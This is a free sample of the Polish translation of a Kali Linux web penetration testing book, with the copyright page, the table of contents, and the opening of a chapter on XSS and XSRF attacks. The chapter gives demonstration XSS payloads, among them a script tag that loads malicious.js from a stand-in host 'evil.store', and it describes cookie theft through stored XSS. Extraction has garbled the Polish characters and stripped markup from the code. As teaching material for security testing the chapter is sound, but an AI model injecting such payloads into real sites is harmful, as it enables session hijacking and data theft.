Darmowy fragment publikacji:
Tytuł oryginału: Web Penetration Testing with Kali Linux, Second Edition
Tłumaczenie: Łukasz Piwko
ISBN: 978-83-283-3214-0
Copyright © Packt Publishing 2015.
First published in the English language under the title
Web Penetration Testing with Kali Linux – Second Edition (9781783988525)’.
Polish edition copyright © 2017 by Helion SA
All rights reserved.
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording or by any information storage retrieval system,
without permission from the Publisher.
Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej
publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną,
fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje
naruszenie praw autorskich niniejszej publikacji.
Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich
właścicieli.
Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były
kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane
z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie
ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji
zawartych w książce.
Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)
Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/kalil2
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
Printed in Poland.
• Kup książkę
• Poleć książkę
• Oceń książkę
• Księgarnia internetowa
• Lubię to! » Nasza społeczność
Spis tre(cid:258)ci
O autorze
O korektorach merytorycznych
Wst(cid:218)p
Rozdzia(cid:239) 1. Podstawy testów penetracyjnych i aplikacji sieciowych
Aktywne testowanie zabezpiecze(cid:241)
Kim jest haker
Ró(cid:285)ne metodyki testowania
Plan operacji
Czarna czy szara skrzynka
Dane kontaktowe klienta
Sposób powiadamiania dzia(cid:239)u IT klienta
Post(cid:218)powanie z poufnymi danymi
Spotkania sprawozdawcze
Ograniczenia testów penetracyjnych
Dlaczego nale(cid:285)y testowa(cid:202) aplikacje sieciowe
Ataki oparte na in(cid:285)ynierii spo(cid:239)ecznej
Szkolenia z obrony przed atakami z u(cid:285)yciem in(cid:285)ynierii spo(cid:239)ecznej
Podstawy budowy aplikacji sieciowych dla pentesterów
Protokó(cid:239) HTTP
Nag(cid:239)ówki (cid:285)(cid:200)dania i odpowiedzi
Metody HTTP wa(cid:285)ne w kontek(cid:258)cie testów penetracyjnych
(cid:165)ledzenie sesji przy u(cid:285)yciu ciasteczek
Dane HTML-a w odpowiedzi HTTP
Wielowarstwowe aplikacje sieciowe
Podsumowanie
9
11
13
19
20
21
21
23
23
23
24
24
24
25
26
28
29
29
30
30
33
35
37
38
39
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Rozdzia(cid:239) 2. Konfiguracja (cid:258)rodowiska pracy w systemie Kali Linux
Kali Linux
Udoskonalenia wprowadzone w Kali Linuksie
Instalowanie Kali Linuksa
Wirtualizacja Kali Linuksa a instalacja na fizycznym sprz(cid:218)cie
Najwa(cid:285)niejsze narz(cid:218)dzia w systemie Kali Linux
Po(cid:258)redniki aplikacji sieciowych
Sieciowy skaner luk w zabezpieczeniach
Narz(cid:218)dzia do identyfikacji systemów CMS
Fuzzery aplikacji sieciowych
Testowanie penetracyjne przy u(cid:285)yciu narz(cid:218)dzia Tor
Konfiguracja Tora i nawi(cid:200)zywanie anonimowego po(cid:239)(cid:200)czenia
Wizualizacja (cid:285)(cid:200)dania sieciowego w Torze
Kilka uwag o Torze na zako(cid:241)czenie
Podsumowanie
Rozdzia(cid:239) 3. Prowadzenie rekonesansu i profilowanie serwera sieciowego
Rekonesans
Rekonesans pasywny a rekonesans aktywny
Rekonesans — zbieranie informacji
Skanowanie — badanie celu
Skanowanie portów za pomoc(cid:200) narz(cid:218)dzia Nmap
Identyfikacja systemu operacyjnego za pomoc(cid:200) Nmap
Profilowanie serwera
Podsumowanie
Rozdzia(cid:239) 4. Najwa(cid:285)niejsze wady aplikacji sieciowych
Wycieki informacji
Przegl(cid:200)danie zawarto(cid:258)ci katalogów
Wady dotycz(cid:200)ce mechanizmów uwierzytelniania
Protoko(cid:239)y uwierzytelniania i zwi(cid:200)zane z nimi b(cid:239)(cid:218)dy
(cid:146)amanie hase(cid:239) i loginów metod(cid:200) brute force
Przegl(cid:200)danie (cid:258)cie(cid:285)ki
Przegl(cid:200)danie (cid:258)cie(cid:285)ki za pomoc(cid:200) narz(cid:218)dzia Burp
Luki umo(cid:285)liwiaj(cid:200)ce wstrzykiwanie kodu
Wstrzykiwanie polece(cid:241)
Wstrzykiwanie kodu SQL
Ataki typu XSS
Potencja(cid:239) ataków typu XSS
Ataki typu CSRF
Luki dotycz(cid:200)ce sesji
Sposoby kradzie(cid:285)y tokenów
Narz(cid:218)dzia do analizy tokenów
Ataki z wykorzystaniem spreparowanych identyfikatorów sesji
Obrona przed atakami z wykorzystaniem spreparowanych identyfikatorów sesji
4
41
41
42
43
48
49
49
53
56
57
57
58
60
61
62
63
64
64
65
73
74
78
79
98
99
100
100
102
102
103
105
107
109
109
110
112
114
114
115
116
117
117
118
Poleć książkęKup książkęLuka zwi(cid:200)zana z do(cid:239)(cid:200)czaniem plików
Do(cid:239)(cid:200)czanie plików zdalnych
Do(cid:239)(cid:200)czanie plików lokalnych
Obrona przed atakami polegaj(cid:200)cymi na do(cid:239)(cid:200)czaniu plików
Zatruwanie parametrów HTTP
Obrona
Dzielenie odpowiedzi HTTP
Obrona
Podsumowanie
Rozdzia(cid:239) 5. Ataki na serwer metod(cid:200) wstrzykiwania kodu
Wstrzykiwanie polece(cid:241)
Identyfikacja parametrów do wstrzykiwania danych
Komunikaty o b(cid:239)(cid:218)dach i wstrzykni(cid:218)cia (cid:258)lepe
Metaznaki do oddzielania polece(cid:241)
Szukanie za pomoc(cid:200) skanera luk umo(cid:285)liwiaj(cid:200)cych wstrzykiwanie polece(cid:241)
Wstrzykiwanie polece(cid:241) za pomoc(cid:200) Metasploita
Wykorzystywanie luki Shellshock
SQL injection
Instrukcje SQL
Mo(cid:285)liwo(cid:258)ci ataku z wykorzystaniem luki typu SQL injection
(cid:165)lepe ataki typu SQL injection
Metody testowania aplikacji pod k(cid:200)tem luk typu SQL injection
Automat sqlmap
BBQSQL — (cid:258)rodowisko do (cid:258)lepego wstrzykiwania kodu SQL
Wstrzykiwanie kodu do baz MySQL za pomoc(cid:200) programu sqlsus
sqlninja — MS SQL injection
Podsumowanie
Rozdzia(cid:239) 6. Luki umo(cid:285)liwiaj(cid:200)ce przeprowadzanie ataków XSS i XSRF
Historia ataków typu XSS
Wprowadzenie do JavaScriptu
Podstawowe informacje o atakach typu XSS
Typy ataków XSS
Ataki XSS z utrwaleniem
Refleksyjne ataki XSS
Ataki XSS na DOM
Ataki XSS z u(cid:285)yciem metody POST
XSS i JavaScript — (cid:258)miertelna mieszanka
Kradzie(cid:285) ciasteczek
Rejestrowanie naciskanych klawiszy
Zmiana wygl(cid:200)du witryny
Skanowanie w poszukiwaniu luk typu XSS
Zed Attack Proxy
XSSer
w3af
Spis tre(cid:286)ci
119
119
119
120
120
123
123
124
124
127
128
129
130
130
131
134
138
142
142
144
145
146
147
150
151
152
154
155
156
156
157
159
159
161
161
164
165
165
166
166
167
167
172
175
5
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Luki typu XSRF
Warunki powodzenia ataku
Technika ataku
Szukanie luk typu XSRF
Techniki obrony przed atakami XSRF
Podsumowanie
Rozdzia(cid:239) 7. Atakowanie witryn SSL
Secure Socket Layer
SSL w aplikacjach sieciowych
Proces szyfrowania SSL
Szyfrowanie asymetryczne a szyfrowanie symetryczne
Zapewnianie nienaruszalno(cid:258)ci danych za pomoc(cid:200) mieszania
Identyfikacja s(cid:239)abych implementacji SSL
Ataki typu man in the middle na SSL
Podsumowanie
Rozdzia(cid:239) 8. Przeprowadzanie ataków przy u(cid:285)yciu frameworków
Socjotechnika
Pakiet narz(cid:218)dzi socjotechnicznych
Ataki spear phishing
Ataki z u(cid:285)yciem strony internetowej
Java Applet Attack
Credential Harvester Attack
Web Jacking Attack
Metasploit Browser Exploit
Tabnabbing Attack
Browser Exploitation Framework
Wprowadzenie do BeEF
Wstrzykiwanie uchwytu BeEF
Atak XSS na Mutillidae za pomoc(cid:200) BeEF
Wstrzykiwanie zaczepu BeEF metod(cid:200) MITM
Podsumowanie
Rozdzia(cid:239) 9. AJAX i us(cid:239)ugi sieciowe — luki bezpiecze(cid:241)stwa
Wprowadzenie do technologii AJAX
Sk(cid:239)adniki technologii AJAX
Zasada dzia(cid:239)ania technologii AJAX
Kwestie bezpiecze(cid:241)stwa w odniesieniu do technologii AJAX
Trudno(cid:258)ci w wykonywaniu testów penetracyjnych aplikacji AJAX
Przeszukiwanie aplikacji AJAX
Analizowanie kodu klienckiego — Firebug
Us(cid:239)ugi sieciowe
Podstawowe informacje o us(cid:239)ugach SOAP i us(cid:239)ugach REST-owych
Zabezpieczanie us(cid:239)ug sieciowych
Podsumowanie
6
179
179
179
180
181
182
183
184
185
186
187
189
190
196
201
203
204
205
206
209
209
210
211
212
212
214
214
215
221
223
225
227
228
229
229
232
234
234
238
241
242
243
245
Poleć książkęKup książkęRozdzia(cid:239) 10. Fuzzing aplikacji sieciowych
Podstawy fuzzingu
Typy technik fuzzingu
Fuzzing mutacyjny
Fuzzing generacyjny
Zastosowania fuzzingu
Frameworki fuzzingowe
Etapy fuzzingu
Testowanie fuzzingowe aplikacji sieciowych
Fuzzery aplikacji sieciowych w Kali Linuksie
Podsumowanie
Skorowidz
Spis tre(cid:286)ci
247
248
249
249
250
250
252
253
254
256
263
265
7
Poleć książkęKup książkę8
Poleć książkęKup książkę6
Luki umo(cid:285)liwiaj(cid:200)ce
przeprowadzanie
ataków XSS i XSRF
W epoce Web 2.0 coraz wi(cid:218)cej przedsi(cid:218)biorstw zaczyna korzysta(cid:202) z rozbudowanych aplikacji
internetowych, za pomoc(cid:200) których prowadzi si(cid:218) handel elektroniczny, przeprowadza operacje
bankowe, handluje na gie(cid:239)dzie, zapisuje dane metodyczne itd. Dla wygody u(cid:285)ytkownika aplikacje
te zawieraj(cid:200) elementy interaktywne i przechowuj(cid:200) poufne informacje o u(cid:285)ytkowniku. Programi(cid:258)ci
takich aplikacji powinni z najwy(cid:285)sz(cid:200) staranno(cid:258)ci(cid:200) podchodzi(cid:202) do kwestii bezpiecze(cid:241)stwa i podej-
mowa(cid:202) wszelkie mo(cid:285)liwe (cid:258)rodki zapewniaj(cid:200)ce poufno(cid:258)(cid:202) i nienaruszalno(cid:258)(cid:202) przechowywanych
w ten sposób danych.
W przypadku gdy program pobiera dane od u(cid:285)ytkownika, najwi(cid:218)cej w(cid:200)tpliwo(cid:258)ci budzi fakt,
(cid:285)e informacjom tym nie mo(cid:285)na ufa(cid:202). U(cid:285)ytkownik zamiast prawid(cid:239)owego loginu mo(cid:285)e wpisa(cid:202)
skrypt, a zadaniem aplikacji jest wykrycie takich szkodliwych dzia(cid:239)a(cid:241). Je(cid:258)li system nie b(cid:218)dzie
skutecznie oczyszcza(cid:239) danych otrzymywanych na wej(cid:258)ciu, napastnicy wykorzystaj(cid:200) to do prze-
prowadzenia ataku.
W tym rozdziale omawiam ataki typu XSS (ang. cross-site scripting) i XSRF (ang. cross site request
forgery). W obu przypadkach bezpo(cid:258)rednim celem napastnika nie jest u(cid:285)ytkownik ko(cid:241)cowy,
lecz chodzi o wykorzystanie luki w zabezpieczeniach witryny internetowej, któr(cid:200) ten u(cid:285)ytkownik
odwiedza. Gdy napastnikowi uda si(cid:218) umie(cid:258)ci(cid:202) swój skrypt w takim serwisie, b(cid:218)dzie on infekowa(cid:239)
wszystkich, którzy do niego wejd(cid:200).
W tym rozdziale omówi(cid:239)em nast(cid:218)puj(cid:200)ce tematy:
(cid:81) historia ataków typu XSS;
(cid:81) podstawowe wiadomo(cid:258)ci o atakach typu XSRF;
Poleć książkęKup książkęKali Linux. Testy penetracyjne
(cid:81) typy ataków XSS;
(cid:81) XSS i JavaScript;
(cid:81) narz(cid:218)dzia do przeprowadzania ataków XSS;
(cid:81) luki typu XSRF.
Historia ataków typu XSS
Poj(cid:218)cia XSS i JavaScript cz(cid:218)sto mo(cid:285)na spotka(cid:202) w swoim towarzystwie. JavaScript to wykonywany
u klienta skryptowy j(cid:218)zyk programowania wprowadzony do u(cid:285)ytku w 1995 r. przez firm(cid:218) Netscape.
J(cid:218)zyk ten stworzono g(cid:239)ównie po to, by umo(cid:285)liwi(cid:202) wykonywanie pewnych dzia(cid:239)a(cid:241) w przegl(cid:200)darce
internetowej. I cho(cid:202) JavaScriptu mo(cid:285)na u(cid:285)ywa(cid:202) tak(cid:285)e do innych celów, nadal najcz(cid:218)(cid:258)ciej znaj-
duje on zastosowanie w implementacji wykonywanych w przegl(cid:200)darkach skryptów steruj(cid:200)cych
prezentacj(cid:200) stron, np. wy(cid:258)wietlaj(cid:200)cych wyskakuj(cid:200)ce okienka dialogowe, gdy u(cid:285)ytkownik wpisze
nieprawid(cid:239)ow(cid:200) warto(cid:258)(cid:202) w polu formularza, albo pokazuj(cid:200)cych reklamy na stronach internetowych.
Niektórzy hakerzy szybko odkryli, (cid:285)e za pomoc(cid:200) JavaScriptu mo(cid:285)na odczytywa(cid:202) dane ze stron
internetowych (cid:239)adowanych w s(cid:200)siednich oknach lub ramkach. Oznacza(cid:239)o to, (cid:285)e szkodliwa witryna
mog(cid:239)a przekroczy(cid:202) granic(cid:218) i reagowa(cid:202) z tre(cid:258)ci(cid:200) za(cid:239)adowan(cid:200) na ca(cid:239)kiem innej stronie internetowej,
pochodz(cid:200)cej z innej domeny. St(cid:200)d w(cid:239)a(cid:258)nie wzi(cid:218)(cid:239)a si(cid:218) nazwa cross-site scripting (wykonywanie
skryptów mi(cid:218)dzy witrynami). Aby uniemo(cid:285)liwi(cid:202) przeprowadzanie ataków t(cid:200) metod(cid:200), firma
Netscape wprowadzi(cid:239)a zasad(cid:218) wspólnego pochodzenia, w my(cid:258)l której skrypty z jednej strony maj(cid:200)
dost(cid:218)p tylko do innych stron nale(cid:285)(cid:200)cych do tej samej domeny. Innymi s(cid:239)owy: uniemo(cid:285)liwiono
napastnikom odczytywanie za pomoc(cid:200) JavaScriptu danych z dowolnej strony.
W pierwszych latach XXI w. ataki typu XSS zyska(cid:239)y rozg(cid:239)os, poniewa(cid:285) za ich pomoc(cid:200) hakerzy
zacz(cid:218)li zmusza(cid:202) strony internetowe do (cid:239)adowania szkodliwych skryptów w przegl(cid:200)darkach inter-
netowych. Cho(cid:202) cele ataków XSS z biegiem lat si(cid:218) zmieni(cid:239)y, nazwa pozosta(cid:239)a ta sama, przez co
niektórzy zastanawiaj(cid:200) si(cid:218), o co w tym chodzi. Hakerzy wynale(cid:283)li wiele metod wykorzystania ata-
ków typu XSS, np.: do skanowania portów, rejestrowania naciskanych klawiszy czy wy(cid:258)wietlania
szkodliwych reklam.
Za pomoc(cid:200) ataku typu XSS mo(cid:285)na te(cid:285) wstrzykn(cid:200)(cid:202) do podatnej strony internetowej kod VBScriptu,
ActiveX lub Flasha. Jednak, ze wzgl(cid:218)du na powszechno(cid:258)(cid:202) JavaScriptu, w dalszej cz(cid:218)(cid:258)ci rozdzia(cid:239)u
przedstawiam przyk(cid:239)ady oparte na u(cid:285)yciu skryptów w(cid:239)a(cid:258)nie w tym j(cid:218)zyku.
Wprowadzenie do JavaScriptu
Na pocz(cid:200)tek pragn(cid:218) podkre(cid:258)li(cid:202), (cid:285)e j(cid:218)zyk programowania JavaScript to nie to samo co Java. Firma
Netscape wybra(cid:239)a tak(cid:200) nazw(cid:218) wy(cid:239)(cid:200)cznie ze wzgl(cid:218)dów marketingowych, poniewa(cid:285) w czasie gdy
powsta(cid:239) JavaScript, j(cid:218)zyk Java zdobywa(cid:239) ogromn(cid:200) popularno(cid:258)(cid:202). W dynamicznych aplikacjach
sieciowych JavaScript znajduje liczne zastosowania. Skrypty mog(cid:200) by(cid:202) osadzane na stronach
internetowych w specjalnych znacznikach HTML-a i mog(cid:200) pobiera(cid:202) dane z ró(cid:285)nych (cid:283)róde(cid:239), na
156
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
podstawie których budowana jest nast(cid:218)pnie ostateczna prezentacja. Prostym przyk(cid:239)adem mo(cid:285)e
by(cid:202) witryna portalu spo(cid:239)eczno(cid:258)ciowego buduj(cid:200)ca stron(cid:218) profilu przez za(cid:239)adowanie obrazu, danych
u(cid:285)ytkownika i starych wpisów z kilku miejsc. Poni(cid:285)ej znajduje si(cid:218) opis kilku sposobów u(cid:285)ycia
JavaScriptu w kodzie HTML-a:
(cid:81) Znacznik script — kod JavaScriptu mo(cid:285)na umie(cid:258)ci(cid:202) bezpo(cid:258)rednio na stronie
internetowej za pomoc(cid:200) znacznika script . Na przyk(cid:239)ad:
script alert( XSS ); /script
(cid:81) Znacznik body — skrypt mo(cid:285)na te(cid:285) wstawi(cid:202) na stron(cid:218) przy u(cid:285)yciu zdarzenia onload
w znaczniku body . Na przyk(cid:239)ad:
body onload=alert( XSS )
(cid:81) Znacznik img — ten sposób wykonywania kodu JavaScriptu jest cz(cid:218)sto
wykorzystywany do nieuczciwych celów. Na przyk(cid:239)ad:
img src= javascript:alert( XSS );
Skrypty JavaScriptu mo(cid:285)na te(cid:285) wstawia(cid:202) na strony internetowe przy u(cid:285)yciu innych znaczników,
np.: iframe , div czy link .
Za pomoc(cid:200) JavaScriptu mo(cid:285)na nie tylko pobiera(cid:202) informacje z serwera, ale tak(cid:285)e wykonywa(cid:202)
dzia(cid:239)ania na obiektowym modelu dokumentu (ang. Document Object Model — DOM) oraz
uzyskiwa(cid:202) dost(cid:218)p do danych przegl(cid:200)darki internetowej i w(cid:239)a(cid:258)ciwo(cid:258)ci systemu operacyjnego.
Wprawdzie projektanci JavaScriptu przewidzieli mo(cid:285)liwo(cid:258)(cid:202) wykonywania skryptów w bardzo
ograniczonym (cid:258)rodowisku wykonawczym z niewielkimi uprawnieniami w systemie operacyjnym,
ale nawet to wystarcza napastnikom do robienia pewnych bardzo nieprzyjemnych rzeczy.
Za(cid:239)adowany w przegl(cid:200)darce skrypt ma dost(cid:218)p do nale(cid:285)(cid:200)cych do sesji u(cid:285)ytkownika ciasteczek i do
historii otwieranych adresów URL. W ciasteczkach cz(cid:218)sto przechowuje si(cid:218) identyfikatory sesji,
wi(cid:218)c je(cid:258)li haker je wykradnie, mo(cid:285)e zapanowa(cid:202) nad sesj(cid:200). Ponadto JavaScript ma te(cid:285) pe(cid:239)ny dost(cid:218)p
do struktury DOM strony internetowej i mo(cid:285)e modyfikowa(cid:202) kod HTML-a strony, w zwi(cid:200)zku
z czym haker mo(cid:285)e wy(cid:258)wietli(cid:202) na komputerze u(cid:285)ytkownika w(cid:239)asn(cid:200) tre(cid:258)(cid:202). Je(cid:258)li dodatkowo napast-
nik zaciemni swój kod JavaScriptu, to niewprawiony w analizowaniu kodu zwyk(cid:239)y u(cid:285)ytkownik ma
niewielk(cid:200) szans(cid:218) wykry(cid:202) oszustwo.
DOM to logiczna struktura definiuj(cid:200)ca atrybuty i sposoby prezentacji na stronie ró(cid:285)nych obiektów (np.: tekstu,
obrazów, nag(cid:239)ówków czy odno(cid:258)ników) oraz okre(cid:258)laj(cid:200)ca regu(cid:239)y manipulowania nimi.
Podstawowe informacje o atakach typu XSS
Mówi(cid:200)c najpro(cid:258)ciej: celem ataku typu XSS jest wykonanie szkodliwego kodu JavaScriptu w prze-
gl(cid:200)darce u(cid:285)ytkownika. Skrypt ten jest dostarczany do klienta za po(cid:258)rednictwem strony interneto-
wej podatnej na ataki XSS. U klienta przegl(cid:200)darka internetowa traktuje skrypty jako legaln(cid:200) cz(cid:218)(cid:258)(cid:202)
157
Poleć książkęKup książkęKali Linux. Testy penetracyjne
strony internetowej i je wykonuje. Uruchomiony w przegl(cid:200)darce ofiary skrypt mo(cid:285)e zmusi(cid:202)
przegl(cid:200)dark(cid:218) do wykonania ró(cid:285)nych czynno(cid:258)ci, jak równie(cid:285) do przeprowadzenia nieuczciwych
transakcji, wykradzenia ciasteczek czy przekierowania u(cid:285)ytkownika na inn(cid:200) stron(cid:218).
W ataku XSS zwykle bior(cid:200) udzia(cid:239) nast(cid:218)puj(cid:200)ce podmioty:
(cid:81) napastnik;
(cid:81) podatna na ataki aplikacja sieciowa;
(cid:81) ofiara korzystaj(cid:200)ca z przegl(cid:200)darki internetowej;
(cid:81) dodatkowa witryna, do której napastnik chce przekierowa(cid:202) przegl(cid:200)dark(cid:218) lub któr(cid:200)
chce zaatakowa(cid:202) za po(cid:258)rednictwem ofiary.
Przeanalizujemy przyk(cid:239)ad ataku XSS:
1. Najpierw przy u(cid:285)yciu legalnych danych napastnik sprawdza podatno(cid:258)(cid:202) pól aplikacji
sieciowej na ataki XSS. Obiecuj(cid:200)ce dla niego s(cid:200) pola, które zwracaj(cid:200) dane z powrotem
do przegl(cid:200)darki. Przyk(cid:239)ad takiej sytuacji jest pokazany na poni(cid:285)szym rysunku.
Witryna przekazuje dane za pomoc(cid:200) metody GET i wy(cid:258)wietla je w przegl(cid:200)darce:
2. Gdy napastnik wykryje s(cid:239)abo zabezpieczony parametr, za pomoc(cid:200) którego mo(cid:285)na
dokona(cid:202) wstrzykni(cid:218)cia kodu, musi znale(cid:283)(cid:202) sposób na dostarczenie do u(cid:285)ytkownika
szkodliwego adresu URL zawieraj(cid:200)cego kod JavaScriptu. Jednym ze sposobów jest
wys(cid:239)anie fa(cid:239)szywej wiadomo(cid:258)ci e-mail b(cid:200)d(cid:283) zmuszenie ofiary do otwarcia wiadomo(cid:258)ci
za pomoc(cid:200) phishingu.
3. Wiadomo(cid:258)(cid:202) e-mail powinna zawiera(cid:202) adres URL do podatnej na ataki aplikacji
internetowej z do(cid:239)(cid:200)czonym kodem JavaScriptu. Gdy u(cid:285)ytkownik kliknie spreparowany
odno(cid:258)nik, przegl(cid:200)darka przetworzy adres i wy(cid:258)le do witryny zawarty w nim kod.
Dane w postaci skryptu JavaScriptu zostan(cid:200) zwrócone do przegl(cid:200)darki i w niej
wykonane. Mo(cid:285)emy np. spróbowa(cid:202) wykona(cid:202) taki wredny kod JavaScriptu:
script alert( Mam Ci(cid:218)!! ) /script .
Aby tego dokona(cid:202), mogliby(cid:258)my spreparowa(cid:202) poni(cid:285)szy adres URL:
http://example.org/hello.php?name= script alert( Mam Ci(cid:218)!! ) /script
158
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
4. Metody alert cz(cid:218)sto u(cid:285)ywa si(cid:218) w demonstracjach i w celu przetestowania aplikacji
pod k(cid:200)tem podatno(cid:258)ci na ataki. W dalszej cz(cid:218)(cid:258)ci tego rozdzia(cid:239)u opisuj(cid:218) te(cid:285) inne metody
z u(cid:285)yciem JavaScriptu cz(cid:218)sto stosowane przez napastników.
5. Je(cid:285)eli aplikacja sieciowa jest podatna na ataki, to w przegl(cid:200)darce u(cid:285)ytkownika pojawi
si(cid:218) okno dialogowe podobne do widocznego na poni(cid:285)szym rysunku:
Typy ataków XSS
G(cid:239)ównym celem ataku XSS jest wykonanie kodu JavaScriptu w przegl(cid:200)darce internetowej ofiary,
ale cel ten mo(cid:285)na osi(cid:200)gn(cid:200)(cid:202) na wiele sposobów. Wszystko tak naprawd(cid:218) zale(cid:285)y od budowy i prze-
znaczenia atakowanej witryny. Wyró(cid:285)nia si(cid:218) trzy podstawowe kategorie ataków XSS:
(cid:81) atak XSS z utrwaleniem (ang. persistent XSS);
(cid:81) refleksyjny atak XSS (ang. reflected XSS);
(cid:81) atak XSS na DOM (ang. DOM XSS).
Ataki XSS z utrwaleniem
Ten rodzaj ataku XSS nazywany jest po angielsku persistent XSS lub stored XSS, poniewa(cid:285) polega
na wstrzykni(cid:218)ciu danych na serwer sieciowy lub do bazy danych na serwerze, po czym aplikacja
serwuje go u(cid:285)ytkownikom bez (cid:285)adnej kontroli. Tego rodzaju atak móg(cid:239)by przeprowadzi(cid:202) napastnik
chc(cid:200)cy zainfekowa(cid:202) komputery wszystkich u(cid:285)ytkowników serwisu. Udana próba tego typu daje
hakerowi szerokie pole do dzia(cid:239)ania.
159
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Oto typowe cele ataków XSS z utrwaleniem:
(cid:81) internetowe fora dyskusyjne,
(cid:81) portale spo(cid:239)eczno(cid:258)ciowe,
(cid:81) serwisy z wiadomo(cid:258)ciami.
Ataki XSS z utrwaleniem s(cid:200) uwa(cid:285)ane za najbardziej szkodliw(cid:200) odmian(cid:218) wszystkich ataków typu
XSS, poniewa(cid:285) skrypt hakera zostaje automatycznie wstrzykni(cid:218)ty do przegl(cid:200)darki ofiary. Napast-
nik nie musi dodatkowo posi(cid:239)kowa(cid:202) si(cid:218) phishingiem, aby nak(cid:239)oni(cid:202) u(cid:285)ytkownika do klikni(cid:218)cia
(cid:239)(cid:200)cza. Szkodliwy skrypt zostaje wys(cid:239)any do podatnej na ataki witryny i jest przesy(cid:239)any do u(cid:285)yt-
kowników podczas normalnego przegl(cid:200)dania stron. Ponadto w ataku XSS z utrwaleniem mo(cid:285)na
bezpo(cid:258)rednio zaimportowa(cid:202) plik JavaScriptu ze zdalnego serwera. Poni(cid:285)szy skrypt np. b(cid:218)dzie
pobiera(cid:239) ze zdalnego serwera kod JavaScriptu do wykonania:
script type= text/javascript src=http://evil.store/malicious.js /script
Na poni(cid:285)szym schemacie przedstawiona jest aplikacja sieciowa podatna na ataki XSS z utrwale-
niem. Jest to forum internetowe, którego u(cid:285)ytkownicy mog(cid:200) tworzy(cid:202) konta i kontaktowa(cid:202)
si(cid:218) z innymi u(cid:285)ytkownikami. Aplikacja zapisuje w bazie danych profile wraz z innymi danymi.
Haker odkrywa, (cid:285)e ta aplikacja nie oczyszcza danych przekazanych w sekcji komentarzy, wi(cid:218)c
wykorzystuje ten fakt do dodania szkodliwego kodu JavaScriptu za pomoc(cid:200) pola komentarza.
Kod ten zostaje zapisany w bazie danych aplikacji. Gdy niczego niepodejrzewaj(cid:200)ca ofiara wy(cid:258)wietli
który(cid:258) z komentarzy, w jej przegl(cid:200)darce internetowej zostanie wykonany wys(cid:239)any przez napastnika
skrypt, który pobiera ciasteczko i wysy(cid:239)a je do zdalnego serwera znajduj(cid:200)cego si(cid:218) pod kontrol(cid:200)
hakera:
160
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Refleksyjne ataki XSS
Refleksyjne ataki XSS zwane s(cid:200) te(cid:285) atakami XSS bez utrwalenia (ang. nonpersistent XSS). W ra-
mach takiego ataku szkodliwy skrypt jest wysy(cid:239)any przez ofiar(cid:218) w (cid:285)(cid:200)daniu do aplikacji sieciowej,
która zwraca go w odpowiedzi do przegl(cid:200)darki. W pierwszej chwili mo(cid:285)e si(cid:218) wydawa(cid:202), (cid:285)e prze-
prowadzenie takiego ataku jest bardzo trudne, poniewa(cid:285) nikt z w(cid:239)asnej woli nie wy(cid:258)le szkodliwego
skryptu do serwera, ale hakerzy maj(cid:200) bogaty zestaw sposobów na nak(cid:239)onienie u(cid:285)ytkownika do tego.
Refleksyjne ataki XSS s(cid:200) najcz(cid:218)(cid:258)ciej skierowane na konkretne osoby, którym wysy(cid:239)a si(cid:218) fa(cid:239)szyw(cid:200)
wiadomo(cid:258)(cid:202) e-mail ze skryptem do(cid:239)(cid:200)czonym do adresu URL, lub przeprowadza si(cid:218) je za pomoc(cid:200)
publikacji odno(cid:258)nika w ogólnodost(cid:218)pnej witrynie i zmusza si(cid:218) u(cid:285)ytkowników do jego klikni(cid:218)cia.
Je(cid:258)li dodatkowo napastnik skorzysta z us(cid:239)ugi skracania adresów, aby ukry(cid:202) swój d(cid:239)ugi i dziwnie
wygl(cid:200)daj(cid:200)cy adres, mog(cid:200)cy wzbudza(cid:202) w(cid:200)tpliwo(cid:258)ci u potencjalnej ofiary, to atak ma naprawd(cid:218)
du(cid:285)(cid:200) szans(cid:218) powodzenia.
Na poni(cid:285)szym schemacie przedstawiona jest sytuacja, w której ofiara zostaje sztuczk(cid:200) nak(cid:239)oniona
do klikni(cid:218)cia adresu URL dostarczaj(cid:200)cego do aplikacji skrypt, który nast(cid:218)pnie zostaje zwrócony
do przegl(cid:200)darki bez odpowiedniego sprawdzenia:
Ataki XSS na DOM
Trzeci rodzaj ataków XSS ma charakter lokalny i jest skierowany bezpo(cid:258)rednio na przegl(cid:200)dark(cid:218)
internetow(cid:200) ofiary. W tym przypadku, w odró(cid:285)nieniu od dwóch poprzednich rodzajów ataku,
napastnik nie wysy(cid:239)a szkodliwej tre(cid:258)ci do serwera, czekaj(cid:200)c na zwrócenie jej potem do przegl(cid:200)dar-
ki, która traktuje otrzymany kod jako zaufan(cid:200) tre(cid:258)(cid:202) aplikacji i wykonuje go podczas (cid:239)adowania
strony. W atakach XSS na DOM wykonywany jest tylko legalny skrypt dostarczony przez serwer.
161
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Coraz wi(cid:218)cej stron HTML-owych jest generowanych nie przez serwer, tylko przez skrypty Java-
